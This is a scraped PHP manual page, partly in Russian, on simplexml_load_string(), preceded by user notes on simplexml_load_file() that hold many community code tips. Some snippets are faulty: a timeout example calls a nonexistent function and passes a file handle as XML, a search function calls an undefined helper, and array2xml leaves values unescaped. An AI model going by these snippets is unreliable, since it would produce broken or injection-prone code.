function all_tag($xml){
    $i=0; $name = "";
    foreach ($xml as $k){
        $tag = $k->getName();
        $tag_value = $xml->$tag;
        if ($name == $tag){ $i++;    }
                $name = $tag;
            echo $tag .' '.$tag_value[$i].'<br />';
        // recursive
           all_tag($xml->$tag->children());
    }
}

all_tag($xml);
?>
Rich 24-Nov-2015 02:51
I stumbled on this: a single element with a simple string in it becomes a string, but a single element with a *space* in it becomes an Array, with one element, the string space.

I'm sure to XML mystics this is wise and wonderful but it really confused me,  and I thought it might confuse others.

<?php
$parsed = simplexml_load_string('<container><space> </space><blank></blank><string>hello</string></container>');
$content = json_decode(json_encode($parsed),TRUE);
var_dump($content);
/* Output is:
array(3) {
  'space' => array(1) {           < did NOT expect this!
    [0] => string(1) " "
  }
  'blank' => array(0) { }
  'string' => string(5) "hello"
}
 */
tuxedobob 30-Jun-2015 01:25
Occasionally you may try to load a file and have it complain about an entity and throw a parser error.

If this is the case, check to make sure that the file in question does not contain an ampersand (&) without a corresponding entity reference.

If it does, or if you want to err on the side of caution, then instead of using simplexml_load_file, try this:

$file = file_get_contents('stuff.xml');
$temp = preg_replace('/&(?!(quot|amp|pos|lt|gt);)/', '&amp;', $file);
$xml = simplexml_load_string($temp) or die("xml not loading");

Read the file into a string, add 'amp;' after any '&' that is not part of a character entity, then parse the string as xml.
kannan at 99deals dot in 04-Sep-2012 06:27
If you have some nodes which are having special characters, it would not load properly

for an instance see the nodes below
<node:number>1538-7445</node:number>
<node:coverDisplayDate>Sep  1 2012 12:00:00:000AM</node:coverDisplayDate>

either you have to change the : to other special characters like '-' in order to convert it properly

Correct Node
<node-number>1538-7445</node-number>
<node-coverDisplayDate>Sep  1 2012 12:00:00:000AM</node-coverDisplayDate>

I have wasted my precious time while debugging this. Please aware about this. ?
ricardo at ricardomartins dot info 21-Aug-2012 05:49
Sometimes we have xml's with hyphens nodes, like

<my_xml>
 <some-node>value</some-node>
</my_xml>

You'll need to use
<?php
$simpleXmlObj->{'some-node'}
?>

instead of
<?php
$simpleXmlObj->some-node;
?>
fusionstream at gmail dot com 05-Apr-2012 04:15
If you are loading many files, this may slow down your page load time.

To set a timeout, use file_get_context and then simplexml_load_string

<?php

$fp = fopen('http://www.example.com/rss', false, stream_create_context(array('http' => array('timeout', '1.5'))));

if ($fp) {
    print_r( simplexml_load_string($fp) );
} else {
    echo "The request timed out";
}
?>
sean at aliencreations dot com 17-Mar-2011 10:59
If you find that you are receiving 500 errors with simplexml_load_file() but you can access the xml/rss feed manually through a browser, your script is probably being blocked by a user agent sniffer.

Add this code before your xml call to remedy this issue

<?php

ini_set("user_agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
ini_set("max_execution_time", 0);
ini_set("memory_limit", "10000M");

$rss = simplexml_load_file($feed_url);

?>
Nanuit at ossi dot at 08-Feb-2011 01:51
A little function very helpfull in using simplexml_load_file behind a proxy

<?php
function getXMLfromURL($url) {
      $Proxy = getenv("HTTP_PROXY");

      if (strlen($Proxy) > 1) {
        $r_default_context = stream_context_get_default ( array
                    ('http' => array(
                        'proxy' => $Proxy,
                        'request_fulluri' => True,
                    ),
                )
            );
        libxml_set_streams_context($r_default_context);
      }
      $daten = simplexml_load_file($url);
      return ($daten);
    }
?>

where HTTP_PROXY is set to e.g.: tcp://proxy:8080
guego dot ol at ig dot com dot br 12-Nov-2010 03:26
Analyze fully XML.

<?php
$xml = simplexml_load_file('file.xml');

foreach($xml as $key0 => $value){
echo "..1..[$key0] => $value";
foreach($value->attributes() as $attributeskey0 => $attributesvalue1){
echo "________[$attributeskey0] = $attributesvalue1";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value as $key => $value2){
echo "....2.....[$key] => $value2";
foreach($value2->attributes() as $attributeskey => $attributesvalue2){
echo "________[$attributeskey] = $attributesvalue2";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value2 as $key2 => $value3){
echo ".........3..........[$key2] => $value3";
foreach($value3->attributes() as $attributeskey2 => $attributesvalue3){
echo "________[$attributeskey2] = $attributesvalue3";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value3 as $key3 => $value4){
echo "...................4....................[$key3] => $value4";
foreach($value4->attributes() as $attributeskey3 => $attributesvalue4){
echo "________[$attributeskey3] = $attributesvalue4";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value4 as $key4 => $value5){
echo ".....................5......................[$key4] => $value5";
foreach($value5->attributes() as $attributeskey4 => $attributesvalue5){
echo "________[$attributeskey4] = $attributesvalue5";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value5 as $key5 => $value6){
echo "......................6.......................[$key5] => $value6";
foreach($value6->attributes() as $attributeskey5 => $attributesvalue6){
echo "________[$attributeskey5] = $attributesvalue6";
}
echo '<br />';
}}}}}
echo '<br />';
}
?>
raduispas at gmail dot com 21-Oct-2010 06:12
if you want to check when this function fails,make sure to compare the return value with ===  instead of == :

<?php
$url = 'http://www.example.com';
$xml = simpleXML_load_file($url,"SimpleXMLElement",LIBXML_NOCDATA);
if($xml ===  FALSE)
{
   //deal with error
}
else { //do stuff }
?>

Otherwise you may end up with FALSE all the time even if the document is ok. Hope this helps someone ;)
jamie at splooshmedia dot co dot uk 31-Mar-2010 06:17
A wrapper around simplexml_load_file to circumvent nasty error messages when the xml server times out or gives a 500 error etc.

<?php
function loadXML2($domain, $path, $timeout = 30) {

    /*
        Usage:

        $xml = loadXML2("127.0.0.1", "/path/to/xml/server.php?code=do_something");
        if($xml) {
            // xml doc loaded
        } else {
            // failed. show friendly error message.
        }
    */

    $fp = fsockopen($domain, 80, $errno, $errstr, $timeout);
    if($fp) {
        // make request
        $out = "GET $path HTTP/1.1\r\n";
        $out .= "Host: $domain\r\n";
        $out .= "Connection: Close\r\n\r\n";
        fwrite($fp, $out);

        // get response
        $resp = "";
        while (!feof($fp)) {
            $resp .= fgets($fp, 128);
        }
        fclose($fp);
        // check status is 200
        $status_regex = "/HTTP\/1\.\d\s(\d+)/";
        if(preg_match($status_regex, $resp, $matches) && $matches[1] == 200) {
            // load xml as object
            $parts = explode("\r\n\r\n", $resp);
            return simplexml_load_string($parts[1]);
        }
    }
    return false;

}
?>
Smokey 14-Mar-2010 10:16
for nested and same name values i'v made up this little bit for getting and displaying multiable values from google's geocode when a exact match is not found it returns all close matches in the following format(this is an abriged version of there output)

<Response>
  <Placemark id="1">
    <address> New York 24, NY, USA</address>
    <AddressDetails>
      ..................
    </AddressDetails>
    <Point>
      <coordinates>-73.5850086,40.7207442,0</coordinates>
    </Point>
  </Placemark>
  <Placemark id="2">
    <address>New York 27, NY, USA</address>
    <AddressDetails>
      ...................
    </AddressDetails>
    <Point>
      <coordinates>-72.8987835,40.8003588,0</coordinates>
    </Point>
  </Placemark>
  <Placemark id="3">
    <address>Cedar Place School, 20 Cedar Pl, Yonkers, NY 10705, USA</address>
    <AddressDetails>
      ..................
    </AddressDetails>
    <Point>
      <coordinates>-73.8966320,40.9256520,0</coordinates>
    </Point>
  </Placemark>
</Response>

<?php
// get and breakdown the results then store them in $var's
$Address = "99999 parkplace, new york, NY";
$urladdress = urlencode($Address);
$Base_url = "http://maps.google.com/maps/geo?q=";
$urlParts = "&output=xml";
$urlrequest = $Base_url . $urladdress . $urlParts;
$xml = simplexml_load_file($urlrequest);
$num = "0";
foreach ($xml->Response->Placemark as $value){
    $num++;
    $GeoFindAdd{$num} = $value->address;
    $GeoFindCords{$num} = $value->Point->coordinates;
}

// a simple display for the results
echo "Found ",$num," Possable Geo Data Sets <br>";
$CountNumResults = "0";
for ( ; $num > 0; $num--){
    $CountNumResults++;
    echo $countnum,"<br> Address = ",$GeoFindAdd{$num},"<br> Coordinates = ",$GeoFindCords{$num},"<br>";
}
echo "END";
?>
knl at bitflop dot com 11-Sep-2009 12:02
If you need to parse the data from SimpleXML into a session variable remember to define the data as a string first.

If you don't you will get warnings of "Node no longer exists" pointing to your session_start() function.

This will work:

<?php

    $new_version = simplexml_load_file('http://example.com/version.xml');
    $_SESSION['current_version'] = (string)$new_version->version;

?>
neil art neilanddeb dort com 17-Aug-2009 06:00
Because the encoding of my XML file is UTF-8 and the
encoding of my web page is iso-8859-1 I was getting strange characters such as a€™ instead of a right single quote.

The solution to this turned out to be hard to find, but really easy to implement.

http://uk3.php.net/manual/en/function.iconv.php

Using the iconv() function you can convert from one encodign to another, the TRANSLIT option seems to work best for what I needed.  Here's my example:

<?php
// convert string from utf-8 to iso8859-1
$horoscope = iconv( "UTF-8", "ISO-8859-1//TRANSLIT", $horoscope );
?>

I found the solution on this page...
http://tinyurl.com/lm39xc
Hope this helps
cryonyx at cerebrate dot ru 21-Oct-2008 03:34
In case you have a XML file with a series of equally named elements on one level simplexml incorrectly processes them and doesn't allow to walk through the array using foreach(). As far as I'm concerned, it is the problem caused by PHP xml_parser (see: http://ru2.php.net/manual/ru/function.xml-parser-create.php#53188).

To avoid this, just use count() and walk through the array using for().

Example:

<params>
  <param>
    <name>version.shell</name>
    <value>1.0</value>
  </param>
  <param>
      <name>version.core</name>
      <value>1.0</value>
  </param>
  <param>
      <name>file.lang</name>
      <value>vc.lang</value>
  </param>
  ...
</params>

<?php
$filename = '...';
$xml = simplexml_load_file($filename);
$p_cnt = count($xml->param);
for($i = 0; $i < $p_cnt; $i++) {
  $param = $xml->param[$i];
  ...;
}
?>
mario 02-Sep-2008 02:08
If you want CDATA in your object you should use LIBXML_NOCDATA

<?php
$xml = simplexml_load_file($file_xml, 'SimpleXMLElement',LIBXML_NOCDATA);

    print_r($xml);
?>
l [DOT] anzinger [AT] gmail [DOT] com 26-Mar-2008 09:03
If you don't want that the CDATA values get escaped, just load the XML with LIBXML_NOCDATA as an 3rd argument.

Note: A PHP version >= 5.1.0 is required for this to work.

Example:

<?php simplexml_load_file('xmldatei.xml', null, LIBXML_NOCDATA); ?>
php at werner dash ott dot de 29-Mar-2007 01:13
Making SimpleXMLElement objects session save.

Besides the effect of not surviving sessions, the SimpleXMLElement object may even crash the session_start() function when trying to re-enter the session!

To come up with a solution for this, I used a pattern as follows. The core idea is to transform the SimpleXMLElement between session calls to and from a string representation which of course is session save.

<?php
  //
  // session save handling of SimpleXMLElement objects
  // (applies to/ tested with PHP 5.1.5 and PHP 5.2.1)
  // The myClass pattern allows for conveniently accessing
  // XML structures while being session save
  //
  class myClass
  {
    private $o_XMLconfig = null;
    private $s_XMLconfig = '';

    public function __construct($args_configfile)
    {
      $this->o_XMLconfig = simplexml_load_file($args_configfile);
      $this->s_XMLconfig = $this->o_XMLconfig->asXML();
    } // __construct()

    public function __destruct()
    {
      $this->s_XMLconfig = $this->o_XMLconfig->asXML();
      unset($this->o_XMLconfig); // this object would otherwise crash
                                 // the subsequent call of
                                 // session_start()!
    } // __destruct()

    public function __wakeup()
    {
      $this->o_XMLconfig = simplexml_load_string($this->s_XMLconfig);
    } // __wakeup()

  } // class myClass
?>
wouter at code-b dot nl 20-Feb-2007 02:08
To correctly extract a value from a CDATA just make sure you cast the SimpleXML Element to a string value by using the cast operator:

<?php
$xml = '<?xml version="1.0" encoding="UTF-8" ?>
<rss>
    <channel>
        <item>
            <title><![CDATA[Tom & Jerry]]></title>
        </item>
    </channel>
</rss>';

$xml = simplexml_load_string($xml);

// echo does the casting for you
echo $xml->channel->item->title;

// but vardump (or print_r) not!
var_dump($xml->channel->item->title);

// so cast the SimpleXML Element to 'string' solve this issue
var_dump((string) $xml->channel->item->title);
?>

Above will output:

Tom & Jerry

object(SimpleXMLElement)#4 (0) {}

string(11) "Tom & Jerry"
Kyle 10-Dec-2006 02:35
In regards to Anonymous on 7th April 2006

There is a way to get back HTML tags. For example:

<?xml version="1.0"?>
<intro>
    Welcome to <b>Example.com</b>!
</intro>

<?php
// I use @ so that it doesn't spit out content of my XML in an error message if the load fails. The content could be passwords so this is just to be safe.
$xml = @simplexml_load_file('content_intro.xml');
if ($xml) {
    // asXML() will keep the HTML tags but it will also keep the parent tag <intro> so I strip them out with a str_replace. You could obviously also use a preg_replace if you have lots of tags.
    $intro = str_replace(array('<intro>', '</intro>'), '', $xml->asXML());
} else {
    $error = "Could not load intro XML file.";
}
?>

With this method someone can change the intro in content_intro.xml and ensure that the HTML is well formed and not ruin the whole site design.
Anonymous 06-Apr-2006 09:21
What has been found when using the script is that simplexml_load_file() will remove any HTML formating inside the XML file, and will also only load so many layers deep. If your XML file is to deap, it will return a boolean false.
fdouteaud at gmail dot com 09-Mar-2006 05:21
Be careful if you are using simplexml data directly to feed your MySQL database using MYSQLi and bind parameters.

The data coming from simplexml are Objects and the bind parameters functions of MySQLi do NOT like that! (it causes some memory leak and can crash Apache/PHP)

In order to do this properly you MUST cast your values to the right type (string, integer...) before passing them to the binding methods of MySQLi.
I did not find that in the documentation and it caused me a lot of headache.
info at evasion dot cc 06-Feb-2006 08:26
Sorry there's a mistake in the previous function :
<?php
   function &getXMLnode($object, $param) {
       foreach($object as $key => $value) {
           if(isset($object->$key->$param)) {
               return $object->$key->$param;
           }
           if(is_object($object->$key)&&!empty($object->$key)) {
               $new_obj = $object->$key;
               // Must use getXMLnode function there (recursive)
               $ret = getXMLnode($new_obj, $param);

           }
       }
       if($ret) return (string) $ret;
       return false;
   }
?>
skutter at imprecision dot net 03-Feb-2006 09:11
So it seems SimpleXML doesn't support CDATA... I bashed together this little regex function to sort out the CDATA before trying to parse XML with the likes of simplexml_load_file / simplexml_load_string. Hope it might help somebody and would be very interested to hear of better solutions. (Other than *not* using SimpleXML of course! ;)

It looks for any <![CDATA [Text and HTML etc in here]]> elements, htmlspecialchar()'s the encapsulated data and then strips the "<![CDATA [" and "]]>" tags out.

<?php
function simplexml_unCDATAise($xml) {
    $new_xml = NULL;
    preg_match_all("/\<\!\[CDATA \[(.*)\]\]\>/U", $xml, $args);

    if (is_array($args)) {
        if (isset($args[0]) && isset($args[1])) {
            $new_xml = $xml;
            for ($i=0; $i<count($args[0]); $i++) {
                $old_text = $args[0][$i];
                $new_text = htmlspecialchars($args[1][$i]);
                $new_xml = str_replace($old_text, $new_text, $new_xml);
            }
        }
    }

    return $new_xml;
}

//Usage:
$xml = 'Your XML with CDATA...';
$xml = simplexml_unCDATAise($xml);
$xml_object = simplexml_load_string($xml);
?>
info at evasion dot cc 03-Feb-2006 03:37
Suppose you have loaded a XML file into $simpleXML_obj.
The structure is like below :

SimpleXMLElement Object
(

    [node1] => SimpleXMLElement Object
        (
            [subnode1] => value1
            [subnode2] => value2
            [subnode3] => value3
        )

    [node2] => SimpleXMLElement Object
        (
            [subnode4] => value4
            [subnode5] => value5
            [subnode6] => value6
        )

)

When searching a specific node in the object, you may use this function :

<?php

    function &getXMLnode($object, $param) {
        foreach($object as $key => $value) {
            if(isset($object->$key->$param)) {
                return $object->$key->$param;
            }
            if(is_object($object->$key)&&!empty($object->$key)) {
                $new_obj = $object->$key;
                $ret = getCfgParam($new_obj, $param);
            }
        }
        if($ret) return (string) $ret;
        return false;
    }
?>

So if you want to get subnode4 value you may use this function like this :

<?php
$result = getXMLnode($simpleXML_obj, 'subnode4');
echo $result;
?>

It display "value4"
genialbrainmachine at NOSPAM dot tiscali dot it 30-Sep-2005 08:52
Micro$oft Word uses non-standard characters and they create problems in using simplexml_load_file.
Many systems include non-standard Word character in their implementation of ISO-8859-1. So an XML document containing that characters can appear well-formed (i.e.) to many browsers. But if you try to load this kind of documents with simplexml_load_file you'll have a little bunch of troubles..
I believe that this is exactly the same question discussed in htmlentites. Following notes to htmlentitles are interesting here too (given in the reverse order, to grant the history):
http://it.php.net/manual/en/function.htmlentities.php#26379
http://it.php.net/manual/en/function.htmlentities.php#41152
http://it.php.net/manual/en/function.htmlentities.php#42126
http://it.php.net/manual/en/function.htmlentities.php#42511
mark 12-Sep-2005 11:06
If the property of an object is empty the array is not created. Here is a version object2array that transfers properly.

<?php
function object2array($object)
{
    $return = NULL;

    if(is_array($object))
    {
        foreach($object as $key => $value)
            $return[$key] = object2array($value);
    }
    else
    {
        $var = get_object_vars($object);

        if($var)
        {
            foreach($var as $key => $value)
                $return[$key] = ($key && !$value) ? NULL : object2array($value);
        }
        else return $object;
    }

    return $return;
}
?>


Интерпретирует строку с XML в объект

  • « simplexml_load_file
  • WDDX »
  • PHP Manual
  • Функции SimpleXML
  • Интерпретирует строку с XML в объект

simplexml_load_string

(PHP 5, PHP 7, PHP 8)

simplexml_load_string — Интерпретирует строку с XML в объект

Описание

simplexml_load_string(
string $data,
?string $class_name = SimpleXMLElement::class,
int $options = 0,
string $namespace_or_prefix = "",
bool $is_prefix = false
): SimpleXMLElement|false

Получает правильно сформированную XML-строку и возвращает её как объект.

Список параметров

data

Правильно сформированная XML-строка

class_name

Вы можете использовать этот необязательный параметр для того, чтобы функция simplexml_load_string() возвращала объект указанного класса. Этот класс должен расширять класс SimpleXMLElement.

options

Побитовое ИЛИ (OR) констант опций libxml.

namespace_or_prefix

Префикс пространства имён или URI.

is_prefix

true, если namespace_or_prefix является префиксом, и false, если URI; по умолчанию равен false.

Возвращаемые значения

Возвращает объект (object) класса SimpleXMLElement со свойствами, содержащими данные, которые хранятся внутри XML-документа или false, если возникла ошибка.

Внимание

Функция возвращает как логическое значение false, так и нелогическое значение, которое приводится к false. Прочитайте раздел «Логический тип», чтобы получить дополнительную информацию. Используйте оператор === для проверки значения, которое возвращает функция.

Ошибки

Генерирует сообщение об ошибке уровня E_WARNING для каждой ошибки, найденной в XML-данных.

Подсказка

Используйте функцию libxml_use_internal_errors() для того, чтобы подавить все ошибки XML, и функцию libxml_get_errors() для прохода по ним впоследствии.

Примеры

Пример #1 Интерпретация XML-строки

<?php
$string = <<<XML
<?xml version='1.0'?>
<document>
<title>Что 40?</title>
<from>Джо</from>
<to>Джейн</to>
<body>
Я знаю, что это - ответ. В чем заключается вопрос?
</body>
</document>
XML;

$xml = simplexml_load_string($string);

print_r($xml);
?>

Результат выполнения приведённого примера:

SimpleXMLElement Object
(
  [title] => Что 40?
  [from] => Джо
  [to] => Джейн
  [body] =>
   Я знаю, что это - ответ. В чем заключается вопрос?
)

Здесь можно использовать $xml->body и т.д.

Смотрите также

  • simplexml_load_file() - Интерпретирует XML-файл в объект
  • SimpleXMLElement::__construct() - Создаёт новый объект SimpleXMLElement
  • Работа с ошибками XML
  • libxml_use_internal_errors() - Отключение ошибок libxml и передача полномочий по выборке и обработке информации об ошибках пользователю
  • Основы работы с модулем SimpleXML

User Contributed Notes

erguven dot m at gmail dot com 11-May-2017 03:14
if you want to use a class which exists in a name space, use it full name. simple_load_string did not recognize short one.

class.new.php
<?php
namespace foo\bar;

class new extends SimpleXMLElement
{
    public function do()
    {
        echo "done";
    }
}
?>

false.php
<?php
use \foo\bar\new;

$result = simplexml_load_string($xml, 'new'); // it gives warning
$result->do(); // fatal error
?>

true.php
<?php
use \foo\bar\new;
$result = simplexml_load_string($xml, '\foo\bar\new');

$result->do(); // prints done
?>
artistan at gmail dot com 11-Jun-2015 12:32
Here is my update to Bob's simple SimpleXML wrapper function.
I noticed his version would turn an empty SimpleXMLElement into an empty array.

<?php
    /**
     * http://php.net/manual/en/function.simplexml-load-string.php#91564
     *
     * bool/array unserialize_xml ( string $input [ , callback $callback ] )
     * Unserializes an XML string, returning a multi-dimensional associative array, optionally runs a callback on all non-array data
     * Returns false on all failure
     * Notes:
     * Root XML tags are stripped
     * Due to its recursive nature, unserialize_xml() will also support SimpleXMLElement objects and arrays as input
     * Uses simplexml_load_string() for XML parsing, see SimpleXML documentation for more info
     *
     * @param $input
     * @param null $callback
     * @param bool $recurse
     * @return array|mixed
     *
     */
    function unserialize_xml($input, $callback = null, $recurse = false)
    {
        // Get input, loading an xml string with simplexml if its the top level of recursion
        $data = ((!$recurse) && is_string($input))? simplexml_load_string($input): $input;
        // Convert SimpleXMLElements to array
        if ($data instanceof SimpleXMLElement){
            if(!empty($data)){
                $data = (array) $data;
            } else {
                $data = '';
            }
        }
        // Recurse into arrays
        if (is_array($data)) foreach ($data as &$item) $item = unserialize_xml($item, $callback, true);
        // Run callback and return
        return (!is_array($data) && is_callable($callback))? call_user_func($callback, $data): $data;
    }
?>
meustrus 07-May-2015 03:38
Be careful checking for parse errors. An empty SimpleXMLElement may resolve to FALSE, and if your XML contains no text or only contains namespaced elements your error check may be wrong. Always use `=== FALSE` when checking for parse errors.

<?php

$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<ns1:Root xmlns:ns1="http://example.com/custom">
<ns1:Node>There's stuff here</ns1:Node>
</ns1:Root>
XML;

$simplexml = simplexml_load_string($xml);

// This prints "Parse Error".
echo ($simplexml ? 'Valid XML' : 'Parse Error'), PHP_EOL;

// But this prints "There's stuff here", proving that
// the SimpleXML object was created successfully.
echo $simplexml->children('http://example.com/custom')->Node, PHP_EOL;

// Use this instead:
echo ($simplexml !== FALSE ? 'Valid XML' : 'Parse Error'), PHP_EOL;

?>

See:

https://bugs.php.net/bug.php?id=31045
https://bugs.php.net/bug.php?id=30972
https://bugs.php.net/bug.php?id=69596
dkrnl at yandex dot ru 30-Sep-2013 02:58
Wrapper XMLReader class, for simple SAX-reading huge xml:
https://github.com/dkrnl/SimpleXMLReader

Usage example: http://github.com/dkrnl/SimpleXMLReader/blob/master/examples/example1.php
AllenJB 12-Oct-2012 08:09
<?php
$xml = json_decode(json_encode((array) simplexml_load_string($string)), 1);
?>

A reminder that json_encode attempts to convert data to UTF-8 without specific knowledge of the source encoding. This method can cause encoding issues if you're not working in UTF-8.
Anonymous 29-Feb-2012 08:54
Use libxml_disable_entity_loader() to restrict loading of external files.  See http://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/
Diego Araos, diego at klapmedia dot com 05-Feb-2011 12:57
A simpler way to transform the result into an array (requires json module).

<?php
function object2array($object) { return @json_decode(@json_encode($object),1); }
?>

Example:
<?php
$xml_object=simplexml_load_string('<SOME XML DATA');
$xml_array=object2array($xml_object);
?>
ascammon at hotmail dot com 28-Dec-2010 01:04
I had a hard time finding this documented, so posting it here in case it helps someone:

If you want to use multiple libxml options, separate them with a pipe, like so:

<?php
$xml = simplexml_load_string($string, 'SimpleXMLElement', LIBXML_NOCDATA | LIBXML_NOBLANKS);
?>
jeff at creabilis dot com 17-Nov-2009 02:28
If you want to set the charset of the outputed xml, simply set the encoding attribute like this :

<?php simplexml_load_string('<?xml version="1.0" encoding="utf-8"?><xml/>'); ?>

The generated xml outputed by $xml->asXML will containt accentuated characters like 'e' instead of &#xE9;.

Hope this help
Bob 17-Jun-2009 02:16
Here is my simple SimpleXML wrapper function.
As far as I can tell, it does the same as Julio Cesar Oliveira's (above).
It parses an XML string into a multi-dimensional associative array.
The second argument is a callback that is run on all data (so for example, if you want all data trimmed, like Julio does in his function, just pass 'trim' as the second arg).
<?php
function unserialize_xml($input, $callback = null, $recurse = false)
/* bool/array unserialize_xml ( string $input [ , callback $callback ] )
 * Unserializes an XML string, returning a multi-dimensional associative array, optionally runs a callback on all non-array data
 * Returns false on all failure
 * Notes:
    * Root XML tags are stripped
    * Due to its recursive nature, unserialize_xml() will also support SimpleXMLElement objects and arrays as input
    * Uses simplexml_load_string() for XML parsing, see SimpleXML documentation for more info
 */
{
    // Get input, loading an xml string with simplexml if its the top level of recursion
    $data = ((!$recurse) && is_string($input))? simplexml_load_string($input): $input;
    // Convert SimpleXMLElements to array
    if ($data instanceof SimpleXMLElement) $data = (array) $data;
    // Recurse into arrays
    if (is_array($data)) foreach ($data as &$item) $item = unserialize_xml($item, $callback, true);
    // Run callback and return
    return (!is_array($data) && is_callable($callback))? call_user_func($callback, $data): $data;
}
?>
Julio Cesar Oliveira 30-Mar-2009 07:14
The XML2Array func now Recursive!

<?php
function XML2Array ( $xml , $recursive = false )
{
    if ( ! $recursive )
    {
        $array = simplexml_load_string ( $xml ) ;
    }
    else
    {
        $array = $xml ;
    }

    $newArray = array () ;
    $array = ( array ) $array ;
    foreach ( $array as $key => $value )
    {
        $value = ( array ) $value ;
        if ( isset ( $value [ 0 ] ) )
        {
            $newArray [ $key ] = trim ( $value [ 0 ] ) ;
        }
        else
        {
            $newArray [ $key ] = XML2Array ( $value , true ) ;
        }
    }
    return $newArray ;
}
?>
javalc6 at gmail dot com 18-Oct-2008 06:25
I wanted to convert an array containing strings and other arrays of the same type into a simplexml object.

Here is the code of the function array2xml that I've developed to perform this conversion. Please note that this code is simple without any checks.

<?php
function array2xml($array, $tag) {

    function ia2xml($array) {
        $xml="";
        foreach ($array as $key=>$value) {
            if (is_array($value)) {
                $xml.="<$key>".ia2xml($value)."</$key>";
            } else {
                $xml.="<$key>".$value."</$key>";
            }
        }
        return $xml;
    }

    return simplexml_load_string("<$tag>".ia2xml($array)."</$tag>");
}

$test['type']='lunch';
$test['time']='12:30';
$test['menu']=array('entree'=>'salad', 'maincourse'=>'steak');

echo array2xml($test,"meal")->asXML();
?>
rowan dot collins at gmail dot com 10-Jul-2008 07:07
There seems to be a lot of talk about SimpleXML having a "problem" with CDATA, and writing functions to rip it out, etc. I thought so too, at first, but it's actually behaving just fine under PHP 5.2.6

The key is noted above example #6 here:
http://uk2.php.net/manual/en/simplexml.examples.php

"To compare an element or attribute with a string or pass it into a function that requires a string, you must cast it to a string using (string). Otherwise, PHP treats the element as an object."

If a tag contains CDATA, SimpleXML remembers that fact, by representing it separately from the string content of the element. So some functions, including print_r(), might not show what you expect. But if you explicitly cast to a string, you get the whole content.

<?php
$xml = simplexml_load_string('<foo>Text1 &amp; XML entities</foo>');
print_r($xml);
/*
SimpleXMLElement Object
(
    [0] => Text1 & XML entities
)
*/

$xml2 = simplexml_load_string('<foo><![CDATA[Text2 & raw data]]></foo>');
print_r($xml2);
/*
SimpleXMLElement Object
(
)
*/
// Where's my CDATA?

// Let's try explicit casts
print_r( (string)$xml );
print_r( (string)$xml2 );
/*
Text1 & XML entities
Text2 & raw data
*/
// Much better
?>
amir_abiri at ipcmedia dot com 08-Feb-2008 08:47
It doesn't seem to be documented anywhere, but you can refer to an element "value" for the purpose of changing it like so:

<?php
$xml = simplexml_load_string('<root><number>1</number></root>');
echo $xml->asXml(). "\n\n";

$xml->number->{0} = $xml->number->{0} + 1;

echo $xml->asXml();
?>

echos:
<?xml version="1.0"?>
<root><number>1</number></root>

<?xml version="1.0"?>
<root><number>2</number></root>

However, this only works with a direct assignment, not with any of the other operators:

<?php
$xml = simplexml_load_string('<root><number>1</number></root>');
echo $xml->asXml(). "\n\n";

$xml->number->{0} += 1;
// Or:
$xml->number->{0}++;

echo $xml->asXml();
?>

Both of the above cases would result in:

<?xml version="1.0"?>
<root><number>1</number></root>

<?xml version="1.0"?>
<root><number>1<0/></number></root>
bojan 04-Feb-2008 04:38
As was said before don't use var_dump() or print_r() to see SimpleXML object structure as they do not returns always what you expect.
Consider the following:

<?php

// data in xml
$xml_txt = '
<root>
  <folder ID="65" active="1" permission="1"><![CDATA[aaaa]]></folder>
  <folder ID="65" active="1" permission="1"><![CDATA[bbbb]]></folder>
</root>';

// load xml into SimpleXML object
$xml = simplexml_load_string($xml_txt, 'SimpleXMLElement', LIBXML_NOCDATA);//LIBXML_NOCDATA LIBXML_NOWARNING

// see object structure
print_r($xml);

/* this prints
SimpleXMLElement Object
(
    [folder] => Array
        (
            [0] => aaaa
            [1] => bbbb
        )

)
*/

// but...
foreach ($xml->folder as $value){
    print_r($value);
}
/* prints complete structure of each folder element:
SimpleXMLElement Object
(
    [@attributes] => Array
        (
            [ID] => 65
            [active] => 1
            [permission] => 1
        )

    [0] => aaaa
)

SimpleXMLElement Object
(
    [@attributes] => Array
        (
            [ID] => 65
            [active] => 1
            [permission] => 1
        )

    [0] => bbbb
)

*/
?>
hattori at hanso dot com 15-Oct-2007 03:19
Theres a problem with the below workaround when serializing fields containing html CDATA. For any other content type then HTML try to modfiy function parseCDATA.
Just add these lines before serializing.
This is also a workaround for this bug http://bugs.php.net/bug.php?id=42001

<?PHP
if(strpos($content, '<![CDATA[')) {
   function parseCDATA($data) {
      return htmlentities($data[1]);
   }
   $content = preg_replace_callback(
      '#<!\[CDATA\[(.*)\]\]>#',
      'parseCDATA',
      str_replace("\n", " ", $content)
   );
}
?>
nbijnens at servs dot eu 10-Sep-2007 05:17
Please note that not all LIBXML options are supported with the options argument.

For instance LIBXML_XINCLUDE does not work. But there is however a work around:

<?php
$xml = new DOMDocument();
$xml->loadXML ($XMLString);

$xml->xinclude();
$xml = simplexml_import_dom($xml);

?>
Pedro 06-Jul-2007 01:28
Attention:

simplexml_load_string has a problem with entities other than (&lt;, &gt;, &amp;, &quot; and &apos;).

Use numeric character references instead!
m dot ament at mailcity dot com 06-Mar-2007 06:51
Warning:

The parsing of XML-data will stop when reaching character 0.
Please avoid this character in your XML-data.
mindpower 30-Jan-2007 03:03
A simple extension that adds a method for retrieving a specific attribute:

<?php
class simple_xml_extended extends SimpleXMLElement
{
    public    function    Attribute($name)
    {
        foreach($this->Attributes() as $key=>$val)
        {
            if($key == $name)
                return (string)$val;
        }
    }

}

$xml = simplexml_load_string('
<xml>
  <dog type="poodle" owner="Mrs Smith">Rover</dog>
</xml>', 'simple_xml_extended');

echo $xml->dog->Attribute('type');

?>

outputs 'poodle'

I prefer to use this technique rather than typecasting attributes.
Maciek Ruckgaber <maciekrb at gmai dot com> 07-Jun-2005 05:07
after wondering around some time, i just realized something (maybe obvious, not very much for me). Hope helps someone to not waste time as i did :-P

when you have something like:

<?php
$xmlstr = <<<XML
<?xml version="1.0" encoding="utf-8"?>
<double xmlns="http://foosite.foo/">2328</double>
XML;
?>

you will have the simpleXML object "transformed" to the text() content:

<?php
$xml = simplexml_load_string($xmlstr);
echo $xml; // this will echo 2328  (string)
?>
cellog at php dot net 31-Aug-2004 04:11
simplexml does not simply handle CDATA sections in a foreach loop.

<?php
